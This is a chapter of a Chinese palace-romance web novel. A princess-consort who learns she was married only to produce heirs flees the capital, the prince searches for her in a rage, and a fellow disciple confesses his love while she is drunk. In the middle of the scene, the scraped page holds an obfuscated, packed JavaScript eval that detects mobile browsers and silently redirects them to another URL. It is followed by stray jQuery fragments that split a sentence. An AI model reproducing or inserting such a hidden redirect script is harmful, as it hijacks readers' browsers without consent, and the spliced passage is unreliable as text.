38. 第三十八章

作品:《克妻王爷的双世宠妃

    原来是这样,娶她仅仅是因为要延续他们穆家皇室血脉,这穆文钧兄弟真是…


    真是……


    真是……


    这样也好,不过是替他们生个孩子而已,至于吗?不至于?


    本来是下山寻找身世之谜,嫁入易王府不过是可以通过穆文钧皇室王妃身份便于寻找解开谜团,没必要伤感。


    挺好的。


    挺好的。


    这么看来自己和他不过是互相利用关系,可自己心为什么那么痛?未免太过矫情了吧。


    陆少宫心中自嘲笑笑,她想要很不在乎开坏笑,发自内心真挚的笑,怎么也笑不出来,到了嘴边只剩下牵强嘴角上抽,僵硬得很。


    眼前有一只手掌在摇晃,耳旁是随侍宫女的叫唤声音,“王妃,王妃,你怎么了,皇上和殿下在前面等着呢。”


    怔愣一会儿,模糊的视线恢复了清晰,声音变回清爽,陆少宫调整下面部表情和心态,微不可见长长吁出一口气,若无其事道,“看着枝叶发芽怪有趣,看呆了,你瞎捣什么乱,快随我去见殿下。”说完抬步朝湖心亭方向去。


    那个晃手的侍女听陆少宫这么说,相信了。小莲步慢慢地紧随王妃身后伺候。


    陆少宫绕过抽枝发叶的树木走到了湖心亭里面去,面上挂着优雅自然的笑容,手上端着端盘子。刚要行礼,皇帝穆君泽忙道,“自家人,不用多礼。”穆君泽都这么说了,陆少宫正好省下,她眼角瞄了下正襟危坐神色清冷的穆文钧。


    这个王八蛋什么礼仪不让少,都是这么久的……想这些这什么。


    “怎么是你端茶来,小明子?”穆文钧见到是陆少宫送茶水来并无多少诧异,倒是对面的穆君泽有些不大自在,自家弟弟刚才说那些混账话,少宫应该没有听去吧,看她笑意吟吟,应该没有。


    “小明子,取茶路上碰到臣妾,臣妾想着来见殿下一下,顺便把茶水端过来了。来,皇兄,你的。”陆少宫笑盈盈自然而然答道,她边答边给兄弟两个斟茶。


    “少宫,手艺不错。”穆君泽戳了口毛峰赞叹道。


    “皇兄,别太夸她了,会斟茶算什么。”穆文钧简直是狗嘴里吐不出象牙,边捏着鸡蛋大茶杯饮了一小口,边嫌弃,不带眼神看。


    要是搁在以往,陆少宫心地想肯定是拿滚热茶水给他洗洗嘴巴,现在她发现刚才心里一阵难受劲儿过后她竟然心无波澜,像似一口尘封已久的古井,丢下去再大的石头也激不起半点儿涟漪。


    陆少宫温顺笑了笑,在其中一张石凳坐下,“皇后现在怎么了?”转移话题。


    姜忆雪是埋藏多年的奸细,不仅骗取了穆君泽的信任,还有多年感情,她不相信穆君泽能这么饶过她,她那人吧,怎么说呢?


    给人感觉总是不坏,很大方随和,除去她是穆临江暗埋的奸细身份,她是个很好的人,值得穆君泽所有的爱。陆少宫不想说她什么坏话,单纯就事论事,顺便岔过穆文钧那个不讨喜的话。


    “她答应了,仍旧留在宫里头当朕的皇后。”穆君泽谈到姜忆雪眼眸一暗,复又清明。


    “皇兄,你真是太纵容她了。”穆文钧说什么话都是冷淡淡的,仿佛这些都是微不足道入不得他眼的小事。


    原来他对自己是公事公办的态度,这点同大家都一样,陆少宫这么想心里没有好受到哪儿去,那儿干坐着,如坐针毡,面对着穆文钧。


    她气馁想,一个生孩子的工具,有什么可生气,自己不也是图他长得好看,有钱有权有地位,反正他们是互相利用关系。要是因为这点儿小事,伤心,她都要看不起自己。


    “文钧,少宫,你们不懂。”穆君泽捏着青釉瓷茶杯,目光深沉不知道包含多少情绪,这话语气有些沉重。“我和她这么多年夫妻,怎么会不懂,不说她了,说说你们两吧。”


    陆少宫和穆文钧统一看向穆文钧,穆文钧淡淡道,“我们两个有什么好说的,滔滔事情不是已经确定下来,一切照旧行了。”


    陆少宫想了想,“滔滔和九歌既然是大盛朝的未来,那么凭皇兄教养。”


    听穆君泽前前后后话里话外意思是要把滔滔当作未来储君培养,交给他总比交给这个冷心冷肺不称职的父王穆文钧要好多了。


    陆少宫通情达理的话让穆君泽很是满意,反观自家皇弟,那话能从他口中出来,他一点儿不稀奇,他这冷淡性子什么时候能改,难道从小把他丢军营里把他锻炼不近人情。


    穆君泽看着陆少宫赞赏点了点头微微一笑,“少宫,很好。有大格局。”


    “多谢皇兄赞赏。”陆少宫稍微颔首示礼。


    穆文钧沉默不语地饮茶若有所思样子。


    穆君泽有心想要通过皇弟穆文钧问问陆少宫她那先帝遗诏是从哪儿来的,父皇居然把这么重要东西交给一个外姓人,转念一想事情已经发生,既然父皇早做安排,虽然该避免事情一点儿没有避免,依然发生,且事情安然过去了,问了也毫无意义。


    三人就着栽培孩子事情好好研究了一遍,说是三人,其实主要是陆少宫和穆君泽两人在说,穆文钧只有在问时候嗯嗯或者否定一两声,其余压根不言语,这还是不是孩子亲生父亲。


    商议了好一阵子,陆少宫终算把两个孩子今后的事情安排下来,心算是放下一半了。


    她眼角余光瞄了眼木板脸的穆混蛋,装什么高冷喝什么茶,尽管孩子是穆文钧,到底有自己一点儿骨血,给安置妥当才好,自己真是瞎了眼才会觉得他这种人有感情。


    陆少宫这边真好好腹诽一顿穆文钧,穆君泽又开口了,对着陆少宫道,“那天大殿上朕听你要问那个叫秦什么人和陆岚人。”


    陆少宫一听有关于自己爹娘消息,眼睛闪过瞬间亮光,“皇兄知道?”是那个皇室贵族家女子。


    穆君泽点了点头,又摇了摇头,啜了口茶水慢悠悠道,“秦什么不知道,叫陆岚朕记得母后宫里以前有个特会梳头发的侍女也叫陆岚,不知道是不是你口中那个陆岚。”


    陆少宫的遗诏多半是从那个陆岚或者什么秦来。


    一个梳头侍女,这跟自己想象差别也太大了吧,陆少宫恹恹嗯了声。


    穆文钧这时候瞧了她一眼,不说话,从容镇定喝茶,皇兄心里头想什么他明白,陆少宫心里头想什么他清楚。


    “少宫。朕问你,知道朕已经告诉你了,那么你把你知道告诉朕,不许隐瞒。”穆君泽果然还是按捺不住想要知道遗招的由来,穆文钧由着他皇兄去问,反正问了也是白问。


    陆少宫听到穆君泽话从巨大落差感中出来,对视上穆君泽,“臣妾怎么敢欺君。那时臣妾一个故人所托,她说陆岚是她娘亲,至于其他什么不知道,臣妾知道不比皇兄知道多少。要不是皇兄说,臣妾不知道陆岚是何人。”半真半假圆下去,这事情没有什么好隐瞒。


    穆君泽了然嗯了一声,浓重修长的眼睫毛遮掩住他眼底情绪。


    穆文钧看了一眼不说话。


    陆少宫起身道,“说了这么久,臣妾也有些乏累,先回王府休息。”说着起身行礼要离开,在这儿多呆一分钟她都觉得呼吸十分苦难,看一眼穆混蛋她心里是无知无味,又痛到无法呼吸。


    “好,文钧,你送少宫回去。”穆君泽倒是热情的。


    “不用,有侍从侍女跟着没事,再说少宫大人了。不用人送。”穆文钧悠闲淡然品茶,少宫沏茶确实不错,回去让她单沏给自己喝。


    陆少宫巴不得穆文钧不用跟她回去,她想一个人待会儿,福了福身子,“臣妾先告退,殿下,少喝点儿。”


    陆少宫走出凉亭那刻重重呼出一口气,没想到心痛可以痛到这种地步,连多说一句话都是困难,她没有回头,不敢,不能,强烈自尊心不允许。


    她是江湖上有名的怪盗飞燕子,怎么会拘于这些无关痛痒的儿女情长,既然是身世谜团已经查得差不多了,剩下的事情估计是有师父他知道,从头到尾是师父在布局,小皇叔死了,皇帝只知道这些,那么师父又知道多少,要不是师父自己还当不上什么易王府。是该回去找师父问个清楚顺便算算账。


    在回去算账之前先回易王府算账,她可不是白给人家生孩子。


    在陆少宫身影彻底消失看不见时候,穆文钧转头看了眼狡诈的皇兄穆君泽,“好端端告诉她这些做什么?别怀疑她?”


    穆君泽看了眼如冷月清辉般清冷的皇弟道,“你这个王妃,不是普通人。”


    “这我知道。”


    穆君泽见他一脸满不在乎样子,一只手臂横在石桌上,语重心长教导说道,“少宫再怎么也是你的王妃,你刚才答话太伤人面子,不怕她哪天不要你,看你上哪儿找这么好的王妃。”


    穆文钧乌黑的眼睛明亮,散发着熠熠光芒,绝对自信,“少宫很爱我,赶她都不会走,皇兄你当心是多余,说说关于西姜边境事情。”


    对着这个自以为是,自信满满的皇弟,穆君泽想问他那来的自信,他这么欠的性子长成花也有看腻了一天,不过这话不能说,有些事情他自己经历过了自然会明白,否则说了是枉然。


    穆君泽懒得跟他废话,与他谈论起政事,一直商谈到天擦黑,穆君泽率先退下,他要回去和忆雪多多相处,省得她忏愧偷偷跑了。


    穆文钧对他皇兄这作法不以为然,甚至有些嗤之以鼻,他是绝对不会赞同的。


    穆文钧念着陆少宫,今夜两个小家伙在母后宫里头,他可以和少宫两人好好过过舒心日子。


    穆文钧满怀春心披星赶月回到王府,发现今天格外的不一样,今夜怎么那么安静,他三步并作两步走到陆少宫的寝房,推门一看,里面空空荡荡,很是怪异,他心道古怪,怪在哪儿?


    他终于意识到了,梳妆台上空空如也,上面那些珠宝首饰都不见了,他稳住心神,这到底是怎么回事?


    出门抓住一个王妃院子扫撒的侍女问,“王妃人呢?”


    扫撒的侍女被王爷近距离的揪着有些害怕,指了指房间,颤声道,“王妃,一直在屋里。回来后一直没有出去。”


    穆文钧听她说一直在屋里头,可现在人呢,人呢?电光火石之间他好像明白什么,他放开那个扫撒侍女唤来良武和小赵,“快给本王找,找到重重有赏。”


    良武和小赵全然不知道发生什么事情,只知道王妃突然间人间蒸发,他们找来保护王妃的暗卫,他们一问三不知。


    这让他们上哪儿找去,良武和小赵率先从王妃父亲曾今的陆大人那儿找起。陆大人很是诧异,“啊,少宫不见了?”


    一连好几天,良武和小赵带着人马在帝都大肆找人,易王穆文钧几日握在书房里每日必去军营不去,朝也不上了,皇兄派遣人来问怎么回事一个砚台送出去。


    易王一夜间性情大变,是不是疯了,朝廷宫里头有人纷纷私下议论,没人说出个准话啦。


    连安养在福宁宫的太后抱着孙女阿蛮忧心问大儿子穆君泽,“你弟弟这是怎么了,跟变了个人,好歹来看看他儿子女儿。”


    穆君泽大概是猜到什么,暗笑不语,看了眼安稳呆在自己身边的抱着滔滔的姜忆雪,庆幸自己及时挽留住忆雪,要不然她不见,自己也得疯。面上宽慰太后道,“文钧是想休息一两天,放心,没事的。”


    太后抱着怀里头睁着眼睛看世界的阿蛮,半信半疑。


    接连好十几天过去了,穆文钧听着废物下属那些没用的话,最后的结论是找不到,他随手抓起桌案上的笔筒掷向那群废物手下,眼睛拉满红血丝,浑身散发着骇人戾气,声音嘶哑,低吼道,“找,你们给本王找,找不到你们就去死。”


    良武和小赵定定站在那儿不敢躲闪,由着青釉笔筒砸在他们身上,总好过砸到下面的人,他们追随殿下多年,从来没有见过殿下为了私事如此大发雷霆。


    王妃突然间蒸发,谁也没想到,可是在帝都大海捞针找法肯定是行不通。


    良武看着一脸数十日没有换洗好好休息的殿下,衣裳不干不净,脸色疲倦,眼角下浓浓的青晕,头发算是整齐,发冠没散乱,殿下从来不曾这样过,即使那时候几十万大军压境,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15297214|162515||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    而他身边是有几千人马守城时候,他依旧是淡定自若该吃吃,该谁谁,给人很安心,安全感觉。


    良武大着胆子上前开口问道,“殿下,这样找不是办法,王妃平日可有爱去的地方,或者喜欢在哪儿吃东西?卑职好缩小规模进行地毯式查找。这样找到机率大。”


    有什么爱去的地方,爱吃的东西,良武这么一问,穆文钧给问蒙住了,他目光呆滞看着前方虚空。


    他不知道啊,少宫从来没有说她想要去哪儿,没有说她喜欢吃什么。甚至连她有多少朋友也不知道,他知道的少宫只是资料上那个忍饥挨冻的和对自己低眉顺眼的少宫。


    相处了一年多,他居然对现在的少宫一无所知。


    穆文钧烦躁双手十指来回插着头发,眼看头发要插乱,发冠要插掉落下来时候,他脑子灵光乍现,睁大拉满血丝眼睛看着前方,“洛云风,去,去青峰上太华道观,他一定知道少宫在哪儿,快去。”


    真是可悲,居然要在一个外人嘴里打听自己妻子的喜好,少宫,你为什么要这么折磨我,为什么?


    青峰山太华道观。


    醉虾和陆少宫几乎是前后脚隔没几天功夫回来的,醉虾挺惊讶的,少宫不是好好丹阳帝都做他的王妃,跑回来做什么。


    “别喝了,多少壶。”醉虾看着陆少宫一壶接着一壶烫酒灌嘴里,说什么今晚高兴要跟他赏月喝酒,再喝下去是赏她这个醉人。他一把夺过陆少宫新开的酒壶。


    陆少宫醉得脸颊红红,烈酒浸泡过一样火辣辣红通通可口诱人,她扒拉手脚爬到醉虾身上,抬手要去抢回酒壶,醉人笑嘻嘻道,“我高兴,我见到,你,高兴。”


    醉虾低头看着喝得烂醉脑子半清醒的陆少宫有些烦恼,拿着酒壶手举高高不让她拿到,一手抱住她腰,省得她不小心从屋檐上滚落下去。“你要真高兴别喝了行不,我陪你吹了半夜的冷风,祖宗,省心点行不,师兄们可还在睡觉呢。”


    他们是屋檐上赏月喝酒,陆少宫说她今天心情特好想要喝酒。醉虾不戳破,给他找了几壶不是那么烈烫酒,谁知道这酒居然喝了七八壶,再不烈的酒也是酒啊。


    陆少宫嘤嘤嗯嗯很不满意,抬手要去拿,醉虾这个家伙按住她不让她拿,还举那么高,太欺负人,她有气无力捶了醉虾一下,张口酒味冲天,“给我,给,我,醉虾,你别太过,过分。”


    醉虾直接把她按在自己大腿上做好,看她这样子待会儿下去得是自己扛下去了,他大抵能猜到什么,穆文钧本来不是什么心思细腻人,加上他精力全在军务上,对男欢女爱之事好像是半懂不懂的,少宫这是受委屈,而且还委屈大发了,“少宫,我说过你要是在王府住的不顺心可以回来,你别为了那种渣渣伤了自己身子。”


    陆少宫大概是醉得不轻,说话不利索,耗尽体力没拿到,气恼之余又郁闷,坐回醉虾大腿上,“谁,谁不,顺顺心,我,我要回来,我,我可是轻燕子,我飞,飞呀,他什么,什么东西,你错,错了,我不在,在乎。”边说边挥手比划差点儿扇了醉虾一个嘴巴,幸好醉虾避开了。


    醉虾见她和穆文钧闹掰,心中自然是欢喜,可是她借酒为那个家伙买醉消愁,让他愁闷,说明那个家伙在少宫心里有一定地位,要不然她不会这么伤心。


    “谁,谁说我伤心,伤心,我,”陆少宫像是能听到他心声一样,醉里醉气反驳道,“谁伤心,我,我不会伤心,我是,是借,王妃身份,找找,总之我,不在乎,不在乎。酒,给我。”还不忘起身要去抢酒。


    醉虾按住她腰部不让她乱动,她这样喝得红扑扑不老实坐在他腿上乱动,当他不是男人?


    两人近在咫尺,只有半个拳头距离,两人气息互相交流混杂。只需要探头功夫,他的鼻尖能触碰到她的脸颊,他只要向前探头便能亲吻到那比酒还要醉人心魄令人心碎的饱满双唇。


    醉酒的少宫是美而不自知,醉眼朦胧,傻笑嘻嘻,好似单纯荷花一样,清香中带着淡淡酒香诱人想要去浅尝。


    醉虾是个男人,体内血液沸腾,灼烧不已,感情和理智在天平上左右摇摆。


    这个机会,错过就不会再有了。


    你犹豫什么?


    当年少宫下山时候你开口说了有他穆文钧什么事情。


    醉虾克制身体冲动,抱着不老实胡乱动弹要雀雀起身要抢酒的陆少宫,按住她,陆少宫嘟囔不满转过头微恼看着他,嘟囔道,“干嘛啊。”


    这声干嘛啊跟羽毛挠过醉虾的心房,痒得不得了。


    这时候是要存天理灭人欲,那真是君子,醉虾一把紧紧搂住陆少宫,眼含深情激动直勾勾看着她,嘴唇都抖索了,鼓足勇气,“少宫,我喜欢你,我们在一起好吧。”说完后脸烧得比喝了酒的陆少宫还要通红,成了叉烧包了,羞涩不好意思。


    “好,在一起,不分开。”陆少宫微微一笑,拍拍他肩膀,直起身子要去夺酒壶。


    陆少宫这回应真得让醉虾醉了,原来说出来这么简单,少宫对自己也是有那方面的意思。


    醉虾面红耳赤,羞涩笑了笑,举着酒壶手也松懈放了下来,有些不大好意思,出口声音都是发颤,“少宫,这么说,看来我们才是应该在一起,兜兜撞撞这么一圈子绕回来。”


    醉虾絮絮叨叨欢喜倾诉自己心意,手中的酒壶已经让陆少宫拿了去,他继续说着,陆少宫依靠在他结实胸膛上仰头喝酒时不时嗯嗯应和上一两句。


    “咱们一起长大,你老找我,我找你。”


    “特黏糊,你说那时候我怎么没意识到,有段时间我觉得是挺奇怪,对你感觉跟师兄不一样。”


    “挺后悔的,在你下山时候我直接说,我当时不确定啊,万一错了怎么办,咱们抬头不见低头见,少宫,我亲你好吗?”千万心思化作柔指缠满心满心温柔甜蜜,他抬头正要探头与少宫亲吻下时候。


    少宫坐在他大腿上依靠着他胸膛,手里拿着酒壶不知道什么时候蒙蒙睡过去,偶尔还啧啧下嘴巴,舔了舔嘴唇。


    自己表白的话她听了多少?